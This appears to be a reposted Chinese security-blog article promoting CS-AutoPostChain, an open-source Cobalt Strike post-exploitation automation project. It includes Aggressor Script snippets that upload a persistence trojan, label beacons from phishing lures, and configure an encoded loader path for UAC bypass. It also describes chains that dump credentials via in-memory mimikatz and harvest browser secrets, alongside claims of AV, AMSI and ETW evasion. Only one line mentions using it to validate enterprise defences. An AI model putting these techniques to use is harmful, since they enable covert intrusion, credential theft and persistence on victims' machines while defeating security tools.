基于OPSEC的CS后渗透自动化链

admin 2024年3月12日09:57:57评论21 views字数 3525阅读11分45秒阅读模式

@lintstar师傅开源分享的基于OPSEC的CobaltStrike后渗透自动化链CS-AutoPostChain,感谢作者的分享。

项目简介

在攻防实战中发现存在以下困境:

  1. 鱼叉式水坑、社工钓鱼以及威胁猎捕场景下上线时间不可控,且无法二十四小时守在电脑附近,同时常见的自动权限维持插件需要提前在目标机器放置木马,并且存在维权上线然后重复维权的套娃问题
  2. 在HW场景下单个主机的信息收集、权限维持和凭据收集等大部分都是重复性操作,且进行CS多人协作时容易重复收集降低效率
  3. 已有的自动化链(上线自动执行whoami、截图等操作),大部分使用 brun、bshell、bspawn等CS原生敏感命令,容易被杀软检测关联到木马进程导致掉线,已不适应如今的攻防场景

本项目尝试将后渗透攻击链中的部分人工重复性工作借助CobaltStrike转变为自动化并兼顾隐蔽性(Bypass):

  • 遵循OPSEC(Operations Security)原则,RedTeam结合C2隐匿、木马免杀、工具魔改二开、BOF、自研工具/C2、ATT&CK攻击手法等结合使用可构建完整的隐蔽自动化链
  • 企业安全建设方面也可借此做自动化内网攻击编排进行内网终端侧、流量侧防护效果的验证
基于OPSEC的CS后渗透自动化链

功能特性

  • 敏感操作通过 BOF 和 C# 程序执行,避免文件落地以及隐蔽动态行为特征

  • 上线主机结合智能化存活判断进行自动权限维持,杜绝重复上线
  • 将 LSTAR 后渗透插件的功能函数化,为不同场景下编排定制化的自动化链提供便利
  • Bypass AV ① 动态查杀 ② Windows Defender 的 AMSI/ETW
  • C# 内存加载 + BOF + 定制化免杀工具及技术 = 无限可能

流程编排

项目CNA脚本默认配置未做任何操作,仅做存活权限信息判断和控制台打印信息!!!

请在理解原理的情况下结合实战需求进行合理配置,整体实现思路详见:https://xz.aliyun.com/t/14076

上线微信通知

冲锋马上线时建议取消注释bsleep,上线默认激活Beacon执行自动化链内容(等效控制台Sleep 0命令)

基于OPSEC的CS后渗透自动化链

配置Token:

http://www.pushplus.plus/push1.html复制自己的token替换到参数定义的地方

$pushplusToken = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
Server酱同理
$serverchanKey = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
基于OPSEC的CS后渗透自动化链

服务端后台挂载

使用agscript在服务器端运行cna文件,和挂载CobaltStrike一样,把cna脚本也挂载到后台:

root@VM-8-8-ubuntu:~# screen -S AutoPostChainroot@VM-8-8-ubuntu:~# ./agscript [host] [port] [user] [pass] </path/to/AutoPostChain.cna>
这里agscript的用法为:
 ./agscript [host] [port] [user] [pass] </path/to/file.cna>
  • [host] # 服务器的ip地址。
  • [port] # cs的端口号,启动cs时有显示。
  • [user] # 后台挂载脚本时连接到teamserver的用户名。
  • [pass] # 启动服务端cs时设置的密码。
  • [path] # cna文件的路径。

上线提醒标记

除去常规提醒外,当有多台C2服务器时,配置好cserverName参数可以在通知标题进行上线提醒的区分:

$cserverName = "AT";
基于OPSEC的CS后渗透自动化链

攻防场景下可通过上线进程来自动标记是针对哪个目标的终端权限上线了:

  • sub Note {    if ($processName eq "beacon.exe") {        bnote($1, "test");    }    else if ($processName eq "个人简历.exe") {        bnote($1, "XX单位社工钓鱼");    }    else if ($processName eq "javaEE.exe") {        bnote($1, "维权上线");    }     else if ($processName eq "Update.exe") {        bnote($1, "BypassUAC上线");    } }
    基于OPSEC的CS后渗透自动化链

    智能化权限维持

    相关工具脚本只做示例演示,请使用本项目时结合实战场景进行针对性免杀和二次开发

    配置Loader

    制作好免杀的维权马后放到scripts目录下,配置以下参数:

    # Loader 路径$LoaderName = "Update.exe";$LoaderPath = "C:\Users\Public\";$LoaderFullPath = $LoaderPath.$LoaderName;$b64encodeFullPath = "QzpcVXNlcnNcUHVibGljXFVwZGF0ZS5leGU=";
    $b64encodeFullPath为维权马Windows完整路径C:\Users\Public\Update.exe Base64加密后的内容,只是为了配合SharpBypassUAC工具参数输入,实际情况请替换其他动态行为免杀的BypassUAC程序。

    配置用户执行链

    取消注释以下代码

    基于OPSEC的CS后渗透自动化链

    这里用两个场景函数进行编排示例:

    NormalUser_Chain 函数用来编排不需要管理员权限即可执行的操作如信息收集、屏幕截图、上传文件等;OnlyAdmin_Chain 函数用来编排只有管理员权限才能做的操作比如凭据获取、隐蔽权限维持等。
    其中NormalUser_Chain执行流程如下:

    1. 上传木马到指定目录:

    sub UP_Loader {    bcd($1, $LoaderPath);    blog($1,"c9开始上传 Loader");    bupload($1, script_resource("/scripts/".$LoaderName));    blog($1, "c8Loader 文件上传完成");    blog($1, "c8Loader文件位置:$LoaderFullPath");}

    2. 调用readbof函数加载BOF并执行whoami、ipconfig、screenshot ;

    3. 调用inlineExecute-Assembly函数通过SharpHostInfo扫描当前C端主机信息。

    ScreenshotBOFPlus优化了能在无需注入的情况下在Windows启动全局缩放时获取完整截图
    而BypassUAC调用inlineExecute-Assembly函数执行SharpBypassUAC工具通过computerdefaults技术以及编码后的木马路径进行UAC绕过,并上线管理器权限 Session。

    最后OnlyAdmin_Chain执行流程如下:

    1. 调用 inlineExecute-Assembly 函数执行 SharpKatz 工具内存中加载 mimikatz 获取主机凭据;

    2. 执行 Pillager BOF 程序不落地的情况下收集主机浏览器、软件、账户凭据等敏感信息;
    3. 调用 inlineExecute-Assembly 函数执行 SharpSchTask 工具进行隐蔽权限维持。
    基于OPSEC的CS后渗透自动化链

    场景流程编排

    通过isadmin结合存活权限判断实现上述执行场景流程的编排:

    基于OPSEC的CS后渗透自动化链

    这样通过BypassUAC二次上线管理员权限时,将只会执行OnlyAdmin_Chain($1); :

    基于OPSEC的CS后渗透自动化链

    此场景流程编排仅做示例使用,请结合实际需求和实战场景移植相应BOF功能等技术进行配置。

    参考项目

    https://github.com/h0e4a0r1t/Automatic-permission-maintenancehttps://github.com/gooderbrother/antiVirusCheckhttps://github.com/anthemtotheego/InlineExecute-Assemblyhttps://github.com/trustedsec/CS-Situational-Awareness-BOFhttps://github.com/qwqdanchun/Pillagerhttps://github.com/baiyies/ScreenshotBOFPlushttps://github.com/shmilylty/SharpHostInfohttps://github.com/FatRodzianko/SharpBypassUAChttps://github.com/0x727/SchTask_0x727

    下载地址

    https://github.com/lintstar/CS-AutoPostChain

    原文始发于微信公众号(Hack分享吧):基于OPSEC的CS后渗透自动化链

    • 左青龙
    • 微信扫一扫
    • weinxin
    • 右白虎
    • 微信扫一扫
    • weinxin
    admin
    • 本文由 发表于 2024年3月12日09:57:57
    • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                     基于OPSEC的CS后渗透自动化链http://cn-sec.com/archives/2568819.html

    发表评论

    匿名网友 填写信息